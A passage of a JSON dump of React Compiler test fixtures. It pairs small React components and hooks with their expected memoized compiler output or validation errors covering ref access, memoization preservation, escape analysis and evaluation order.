    "content": "// @validateBlocklistedImports:[\"DangerousImport\"]\nimport {foo} from 'DangerousImport';\nimport {useIdentity} from 'shared-runtime';\n\nfunction useHook() {\n  useIdentity(foo);\n  return;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender:true\nimport {mutate} from 'shared-runtime';\n\nfunction Foo(props, ref) {\n  mutate(ref.current);\n  return <div>{props.bar}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{bar: 'foo'}, {ref: {cuurrent: 1}}],\n  isComponent: true,\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.validate-mutate-ref-arg-in-render.ts:5:9\n  3 |\n  4 | function Foo(props, ref) {\n> 5 |   mutate(ref.current);\n    |          ^^^^^^^^^^^ Passing a ref to a function may read its value during render\n  6 |   return <div>{props.bar}</div>;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-mutate-ref-arg-in-render.js",
    "content": "// @validateRefAccessDuringRender:true\nimport {mutate} from 'shared-runtime';\n\nfunction Foo(props, ref) {\n  mutate(ref.current);\n  return <div>{props.bar}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{bar: 'foo'}, {ref: {cuurrent: 1}}],\n  isComponent: true,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-entries-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {object: props.object};\n  const entries = useMemo(() => Object.entries(object), [object]);\n  entries.map(([, value]) => {\n    value.updated = true;\n  });\n  return <Stringify entries={entries} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{object: {key: makeObject_Primitives()}}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.\n\nerror.validate-object-entries-mutation.ts:6:57\n  4 | function Component(props) {\n  5 |   const object = {object: props.object};\n> 6 |   const entries = useMemo(() => Object.entries(object), [object]);\n    |                                                          ^^^^^^ This dependency may be modified later\n  7 |   entries.map(([, value]) => {\n  8 |     value.updated = true;\n  9 |   });\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\nerror.validate-object-entries-mutation.ts:6:18\n  4 | function Component(props) {\n  5 |   const object = {object: props.object};\n> 6 |   const entries = useMemo(() => Object.entries(object), [object]);\n    |                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization\n  7 |   entries.map(([, value]) => {\n  8 |     value.updated = true;\n  9 |   });\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-entries-mutation.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {object: props.object};\n  const entries = useMemo(() => Object.entries(object), [object]);\n  entries.map(([, value]) => {\n    value.updated = true;\n  });\n  return <Stringify entries={entries} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{object: {key: makeObject_Primitives()}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-values-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {object: props.object};\n  const values = useMemo(() => Object.values(object), [object]);\n  values.map(value => {\n    value.updated = true;\n  });\n  return <Stringify values={values} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{object: {key: makeObject_Primitives()}}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.\n\nerror.validate-object-values-mutation.ts:6:55\n  4 | function Component(props) {\n  5 |   const object = {object: props.object};\n> 6 |   const values = useMemo(() => Object.values(object), [object]);\n    |                                                        ^^^^^^ This dependency may be modified later\n  7 |   values.map(value => {\n  8 |     value.updated = true;\n  9 |   });\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.\n\nerror.validate-object-values-mutation.ts:6:17\n  4 | function Component(props) {\n  5 |   const object = {object: props.object};\n> 6 |   const values = useMemo(() => Object.values(object), [object]);\n    |                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization\n  7 |   values.map(value => {\n  8 |     value.updated = true;\n  9 |   });\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.validate-object-values-mutation.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false\nimport {makeObject_Primitives, Stringify} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = {object: props.object};\n  const values = useMemo(() => Object.values(object), [object]);\n  values.map(value => {\n    value.updated = true;\n  });\n  return <Stringify values={values} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{object: {key: makeObject_Primitives()}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // b is an object, must be memoized even though the input is not memoized\n  const {a, ...b} = props.a;\n  // d is an array, mut be memoized even though the input is not memoized\n  const [c, ...d] = props.c;\n  return <div b={b} d={d}></div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(7);\n  let b;\n  if ($[0] !== props.a) {\n    const { a, ...t0 } = props.a;\n    b = t0;\n    $[0] = props.a;\n    $[1] = b;\n  } else {\n    b = $[1];\n  }\n  let d;\n  if ($[2] !== props.c) {\n    [, ...d] = props.c;\n    $[2] = props.c;\n    $[3] = d;\n  } else {\n    d = $[3];\n  }\n  let t0;\n  if ($[4] !== b || $[5] !== d) {\n    t0 = <div b={b} d={d} />;\n    $[4] = b;\n    $[5] = d;\n    $[6] = t0;\n  } else {\n    t0 = $[6];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-destructured-rest-element.js",
    "content": "function Component(props) {\n  // b is an object, must be memoized even though the input is not memoized\n  const {a, ...b} = props.a;\n  // d is an array, mut be memoized even though the input is not memoized\n  const [c, ...d] = props.c;\n  return <div b={b} d={d}></div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  const x = [];\n  if (a) {\n    const y = [];\n    if (b) {\n      y.push(c);\n    }\n    x.push(<div>{y}</div>);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(9);\n  let x;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    x = [];\n    if (a) {\n      let y;\n      if ($[4] !== b || $[5] !== c) {\n        y = [];\n        if (b) {\n          y.push(c);\n        }\n        $[4] = b;\n        $[5] = c;\n        $[6] = y;\n      } else {\n        y = $[6];\n      }\n      let t0;\n      if ($[7] !== y) {\n        t0 = <div>{y}</div>;\n        $[7] = y;\n        $[8] = t0;\n      } else {\n        t0 = $[8];\n      }\n      x.push(t0);\n    }\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-jsx-child.js",
    "content": "function foo(a, b, c) {\n  const x = [];\n  if (a) {\n    const y = [];\n    if (b) {\n      y.push(c);\n    }\n    x.push(<div>{y}</div>);\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const a = [props.a];\n  const b = [props.b];\n  const c = [props.c];\n  // We don't do constant folding for non-primitive values (yet) so we consider\n  // that any of a, b, or c could return here\n  return (a && b) || c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] !== props.a) {\n    t0 = [props.a];\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const a = t0;\n  let t1;\n  if ($[2] !== props.b) {\n    t1 = [props.b];\n    $[2] = props.b;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const b = t1;\n  let t2;\n  if ($[4] !== props.c) {\n    t2 = [props.c];\n    $[4] = props.c;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  const c = t2;\n\n  return (a && b) || c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-logical.js",
    "content": "function Component(props) {\n  const a = [props.a];\n  const b = [props.b];\n  const c = [props.c];\n  // We don't do constant folding for non-primitive values (yet) so we consider\n  // that any of a, b, or c could return here\n  return (a && b) || c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a can be independently memoized, is not mutated later\n  const a = [props.a];\n\n  // b and c are interleaved and grouped into a single scope,\n  // but they are independent values. c does not escape, but\n  // we need to ensure that a is memoized or else b will invalidate\n  // on every render since a is a dependency.\n  const b = [];\n  const c = {};\n  c.a = a;\n  b.push(props.b);\n\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.a) {\n    t0 = [props.a];\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const a = t0;\n  let b;\n  if ($[2] !== a || $[3] !== props.b) {\n    b = [];\n    const c = {};\n    c.a = a;\n    b.push(props.b);\n    $[2] = a;\n    $[3] = props.b;\n    $[4] = b;\n  } else {\n    b = $[4];\n  }\n\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-dependency.js",
    "content": "function Component(props) {\n  // a can be independently memoized, is not mutated later\n  const a = [props.a];\n\n  // b and c are interleaved and grouped into a single scope,\n  // but they are independent values. c does not escape, but\n  // we need to ensure that a is memoized or else b will invalidate\n  // on every render since a is a dependency.\n  const b = [];\n  const c = {};\n  c.a = a;\n  b.push(props.b);\n\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a can be independently memoized, is not mutated later\n  // but a is a dependnecy of b, which is a dependency of c.\n  // we have to memoize a to avoid breaking memoization of b,\n  // to avoid breaking memoization of c.\n  const a = [props.a];\n\n  // a can be independently memoized, is not mutated later,\n  // but is a dependency of d which is part of c's scope.\n  // we have to memoize b to avoid breaking memoization of c.\n  const b = [a];\n\n  // c and d are interleaved and grouped into a single scope,\n  // but they are independent values. d does not escape, but\n  // we need to ensure that b is memoized or else b will invalidate\n  // on every render since a is a dependency. we also need to\n  // ensure that a is memoized, since it's a dependency of b.\n  const c = [];\n  const d = {};\n  d.b = b;\n  c.push(props.b);\n\n  return c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.a) {\n    const a = [props.a];\n    t0 = [a];\n    $[0] = props.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const b = t0;\n  let c;\n  if ($[2] !== b || $[3] !== props.b) {\n    c = [];\n    const d = {};\n    d.b = b;\n    c.push(props.b);\n    $[2] = b;\n    $[3] = props.b;\n    $[4] = c;\n  } else {\n    c = $[4];\n  }\n\n  return c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-allocating-nested-dependency.js",
    "content": "function Component(props) {\n  // a can be independently memoized, is not mutated later\n  // but a is a dependnecy of b, which is a dependency of c.\n  // we have to memoize a to avoid breaking memoization of b,\n  // to avoid breaking memoization of c.\n  const a = [props.a];\n\n  // a can be independently memoized, is not mutated later,\n  // but is a dependency of d which is part of c's scope.\n  // we have to memoize b to avoid breaking memoization of c.\n  const b = [a];\n\n  // c and d are interleaved and grouped into a single scope,\n  // but they are independent values. d does not escape, but\n  // we need to ensure that b is memoized or else b will invalidate\n  // on every render since a is a dependency. we also need to\n  // ensure that a is memoized, since it's a dependency of b.\n  const c = [];\n  const d = {};\n  d.b = b;\n  c.push(props.b);\n\n  return c;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  // a does not need to be memoized ever, even though it's a\n  // dependency of c, which exists in a scope that has a memoized\n  // output. it doesn't need to be memoized bc the value is a primitive type.\n  const a = props.a + props.b;\n\n  // b and c are interleaved and grouped into a single scope,\n  // but they are independent values. c does not escape, but\n  // we need to ensure that a is memoized or else b will invalidate\n  // on every render since a is a dependency.\n  const b = [];\n  const c = {};\n  c.a = a;\n  b.push(props.c);\n\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(3);\n\n  const a = props.a + props.b;\n  let b;\n  if ($[0] !== a || $[1] !== props.c) {\n    b = [];\n    const c = {};\n    c.a = a;\n    b.push(props.c);\n    $[0] = a;\n    $[1] = props.c;\n    $[2] = b;\n  } else {\n    b = $[2];\n  }\n\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-non-escaping-interleaved-primitive-dependency.js",
    "content": "function Component(props) {\n  // a does not need to be memoized ever, even though it's a\n  // dependency of c, which exists in a scope that has a memoized\n  // output. it doesn't need to be memoized bc the value is a primitive type.\n  const a = props.a + props.b;\n\n  // b and c are interleaved and grouped into a single scope,\n  // but they are independent values. c does not escape, but\n  // we need to ensure that a is memoized or else b will invalidate\n  // on every render since a is a dependency.\n  const b = [];\n  const c = {};\n  c.a = a;\n  b.push(props.c);\n\n  return b;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [props.a];\n  const y = x ? props.b : props.c;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const x = [props.a];\n  const y = x ? props.b : props.c;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-conditional-test.js",
    "content": "function Component(props) {\n  const x = [props.a];\n  const y = x ? props.b : props.c;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [props.a];\n  let y;\n  if (x) {\n    y = props.b;\n  } else {\n    y = props.c;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const x = [props.a];\n  let y;\n  if (x) {\n    y = props.b;\n  } else {\n    y = props.c;\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-if-test.js",
    "content": "function Component(props) {\n  const x = [props.a];\n  let y;\n  if (x) {\n    y = props.b;\n  } else {\n    y = props.c;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const a = [props.a];\n  let x = props.b;\n  switch (props.c) {\n    case a: {\n      x = props.d;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const a = [props.a];\n  let x = props.b;\n  switch (props.c) {\n    case a: {\n      x = props.d;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-case.js",
    "content": "function Component(props) {\n  const a = [props.a];\n  let x = props.b;\n  switch (props.c) {\n    case a: {\n      x = props.d;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const a = [props.a];\n  let x = props.b;\n  switch (a) {\n    case true: {\n      x = props.c;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const a = [props.a];\n  let x = props.b;\n  switch (a) {\n    case true: {\n      x = props.c;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/escape-analysis-not-switch-test.js",
    "content": "function Component(props) {\n  const a = [props.a];\n  let x = props.b;\n  switch (a) {\n    case true: {\n      x = props.c;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-call-after-dependency-load.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Test that we preserve order of evaluation on the following case scope@0\n * ```js\n * // simplified HIR\n * scope@0\n *    ...\n *    $0 = arr.length\n *    $1 = arr.push(...)\n *\n * scope@1 <-- here we should depend on $0 (the value of the property load before the\n *             mutable call)\n *   [$0, $1]\n * ```\n */\nfunction useFoo(source: Array<number>): [number, number] {\n  const arr = [1, 2, 3, ...source];\n  return [arr.length, arr.push(0)];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [[5, 6]],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Test that we preserve order of evaluation on the following case scope@0\n * ```js\n * // simplified HIR\n * scope@0\n *    ...\n *    $0 = arr.length\n *    $1 = arr.push(...)\n *\n * scope@1 <-- here we should depend on $0 (the value of the property load before the\n *             mutable call)\n *   [$0, $1]\n * ```\n */\nfunction useFoo(source) {\n  const $ = _c(6);\n  let t0;\n  let t1;\n  if ($[0] !== source) {\n    const arr = [1, 2, 3, ...source];\n    t0 = arr.length;\n    t1 = arr.push(0);\n    $[0] = source;\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t0 = $[1];\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== t0 || $[4] !== t1) {\n    t2 = [t0, t1];\n    $[3] = t0;\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [[5, 6]],\n};\n\n```\n      \n### Eval output\n(kind: ok) [5,6]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-call-after-dependency-load.ts",
    "content": "/**\n * Test that we preserve order of evaluation on the following case scope@0\n * ```js\n * // simplified HIR\n * scope@0\n *    ...\n *    $0 = arr.length\n *    $1 = arr.push(...)\n *\n * scope@1 <-- here we should depend on $0 (the value of the property load before the\n *             mutable call)\n *   [$0, $1]\n * ```\n */\nfunction useFoo(source: Array<number>): [number, number] {\n  const arr = [1, 2, 3, ...source];\n  return [arr.length, arr.push(0)];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [[5, 6]],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-store-after-dependency-load.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Test that we preserve order of evaluation on the following case scope@0\n * ```js\n * // simplified HIR\n * scope@0\n *    ...\n *    $0 = arr.length\n *    $1 = arr.length = 0\n *\n * scope@1 <-- here we should depend on $0 (the value of the property load before the\n *             property store)\n *   [$0, $1]\n * ```\n */\nfunction useFoo(source: Array<number>): [number, number] {\n  const arr = [1, 2, 3, ...source];\n  return [arr.length, (arr.length = 0)];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [[5, 6]],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Test that we preserve order of evaluation on the following case scope@0\n * ```js\n * // simplified HIR\n * scope@0\n *    ...\n *    $0 = arr.length\n *    $1 = arr.length = 0\n *\n * scope@1 <-- here we should depend on $0 (the value of the property load before the\n *             property store)\n *   [$0, $1]\n * ```\n */\nfunction useFoo(source) {\n  const $ = _c(6);\n  let t0;\n  let t1;\n  if ($[0] !== source) {\n    const arr = [1, 2, 3, ...source];\n    t0 = arr.length;\n    t1 = arr.length = 0;\n    $[0] = source;\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t0 = $[1];\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== t0 || $[4] !== t1) {\n    t2 = [t0, t1];\n    $[3] = t0;\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [[5, 6]],\n};\n\n```\n      \n### Eval output\n(kind: ok) [5,0]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/evaluation-order-mutate-store-after-dependency-load.ts",
    "content": "/**\n * Test that we preserve order of evaluation on the following case scope@0\n * ```js\n * // simplified HIR\n * scope@0\n *    ...\n *    $0 = arr.length\n *    $1 = arr.length = 0\n *\n * scope@1 <-- here we should depend on $0 (the value of the property load before the\n *             property store)\n *   [$0, $1]\n * ```\n */\nfunction useFoo(source: Array<number>): [number, number] {\n  const arr = [1, 2, 3, ...source];\n  return [arr.length, (arr.length = 0)];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [[5, 6]],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/compile-files-with-exhaustive-deps-violation-in-effects.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\n\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x}) {\n  useEffect(\n    () => {\n      console.log(x);\n      // eslint-disable-next-line react-hooks/exhaustive-deps\n    },\n    [\n      /* intentionally missing deps */\n    ]\n  );\n\n  const memo = useMemo(() => {\n    return [x];\n  }, [x]);\n\n  return <ValidateMemoization inputs={[x]} output={memo} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies\n\nimport { useMemo } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(10);\n  const { x } = t0;\n  let t1;\n  if ($[0] !== x) {\n    t1 = () => {\n      console.log(x);\n    };\n    $[0] = x;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = [];\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  useEffect(t1, t2);\n  let t3;\n  if ($[3] !== 